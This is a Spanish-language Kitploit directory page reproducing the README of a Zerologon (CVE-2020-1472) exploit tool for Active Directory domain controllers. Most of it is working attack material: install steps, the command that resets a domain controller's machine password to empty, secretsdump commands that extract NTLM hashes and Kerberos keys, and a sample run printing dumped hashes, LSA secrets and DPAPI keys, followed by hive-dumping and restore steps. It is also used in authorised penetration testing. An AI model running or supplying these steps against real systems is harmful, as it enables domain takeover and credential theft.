Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-1472 — Código de exploit para CVE-2020-1472, también conocido como Zerologon | Kitploit
Herramientas/GitHubGitHub/voidsec/cve-2020-1472
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónPruebas de Penetración
GitHubvoidsec/cve-2020-1472

CVE-2020-1472

Código de exploit para CVE-2020-1472, también conocido como Zerologon

Ver Repositorio
396632hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

CVE-2020-1472

Código de verificación y explotación para CVE-2020-1472, también conocido como Zerologon

Comprueba si un controlador de dominio es vulnerable al ataque Zerologon. Si lo es, restablece la contraseña de la cuenta del controlador de dominio a una cadena vacía.

NOTA: Es probable que esto rompa cosas en entornos de producción (por ejemplo, funcionalidad de DNS, comunicación con controladores de dominio de réplica, etc.). Los clientes afectados ya no podrán autenticarse en el dominio y solo podrán resincronizarse mediante acciones manuales. Si quieres saber más sobre cómo el ataque Zerologon rompe cosas, gracias al increíble trabajo de @_dirkjan, puedes leerlo AQUÍ

Investigación original y documento técnico de Zerologon por Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon

asciicast

Exploit

Intentará realizar la omisión de autenticación de Netlogon. Cuando un controlador de dominio está parcheado, el script de detección se rendirá después de enviar 2000 pares de llamadas RPC, concluyendo que el objetivo no es vulnerable (con una probabilidad de falso negativo del 0.04%).

El exploit solo tendrá éxito si el Controlador de Dominio utiliza la contraseña almacenada en Active Directory para validar el intento de inicio de sesión, en lugar de la almacenada localmente, ya que al cambiar una contraseña de esta manera, solo se cambia en el AD. El sistema objetivo mismo seguirá almacenando su contraseña original localmente.

Instalación

Requiere Python 3.7 o superior, virtualenv, pip y una versión modificada de la biblioteca de Impacket: nrpc.py (/impacket/dcerpc/v5) la última versión de impacket desde GitHub con estructuras netlogon añadidas.

1. Instalar Impacket de la siguiente manera:

  1. git clone https://github.com/SecureAuthCorp/impacket
  2. cd impacket
  3. root@kitploit:~
    pwd 
    ~/impacket/
    
  4. virtualenv --python=python3 impacket
  5. source impacket/bin/activate
  6. pip install --upgrade pip
  7. pip install .

2. Instalar el script del exploit Zerologon de la siguiente manera:

  1. root@kitploit:~
    ~/impacket/
    
  2. cd examples
  3. git clone https://github.com/VoidSec/CVE-2020-1472
  4. cd CVE-2020-1472
  5. pip install -r requirements.txt

Ejecución del script

El script se puede usar para atacar un DC o un DC de respaldo. También es probable que funcione contra un DC de solo lectura, pero esto aún no se ha probado. El nombre del DC debe ser su nombre de computadora NetBIOS. Si este nombre no es correcto, es probable que el script falle con un error STATUS_INVALID_COMPUTER_NAME. Dado un controlador de dominio llamado EXAMPLE-DC y dirección IP 1.2.3.4, ejecute el script de la siguiente manera:

  • ./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4

La ejecución del script debería resultar en que la contraseña de la cuenta del Controlador de Dominio se restablezca a una cadena vacía.

En este punto, deberías poder ejecutar secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR de Impacket (alternativamente puedes usar el hash vacío: -hashes :31d6cfe0d16ae931b73c59d7e0c089c0) que extraerá solo los datos de NTDS.DIT (hashes NTLM y claves Kerberos).

Lo que debería darte acceso de Administrador de Dominio. GANAR GANAR GANAR

Ejemplo de ejecución

root@kitploit:~
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Éxito: ¡Exploit Zerologon completado! La contraseña de la cuenta del DC se ha establecido a una cadena vacía.

> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Restaurar:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM 
 0000   55 A7 DF DF 27 E2 64 C1  F7 42 F2 1B 96 76 01 4F   U...'.d..B...v.O
 0010   24 4C 5D 9B 20 E3 EA 95  DD E9 61 0F 00 8E B2 51   $L]. .....a....Q
 0020   B1 79 3F E0 37 3E CB B2  95 31 A6 74 F3 35 54 8A   .y?.7>...1.t.5T.
 0030   C1 B6 70 3D B3 AB AC C1  7E 8E 90 7A 7B 49 32 46   ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up... 

> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020

Restauración de contraseña

Es necesario reinstalar el hash de contraseña original para que el DC continúe funcionando normalmente.

Después de obtener el Administrador de Dominio, puedes usar wmiexec.py para conectarte al DC objetivo con una credencial obtenida de secretsdump y realizar los siguientes pasos:

root@kitploit:~
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

Ejecuta: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

Y eso debería mostrarte el hash NT original de la cuenta de máquina. Luego puedes reinstalar ese hash de cuenta de máquina original en el dominio usando el script reinstall_original_pw.py proporcionado aquí. A veces es necesario ejecutarlo más de una vez para que tenga éxito.

root@kitploit:~
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

Alternativamente, puedes usar el siguiente proceso de restauración

Descargar herramienta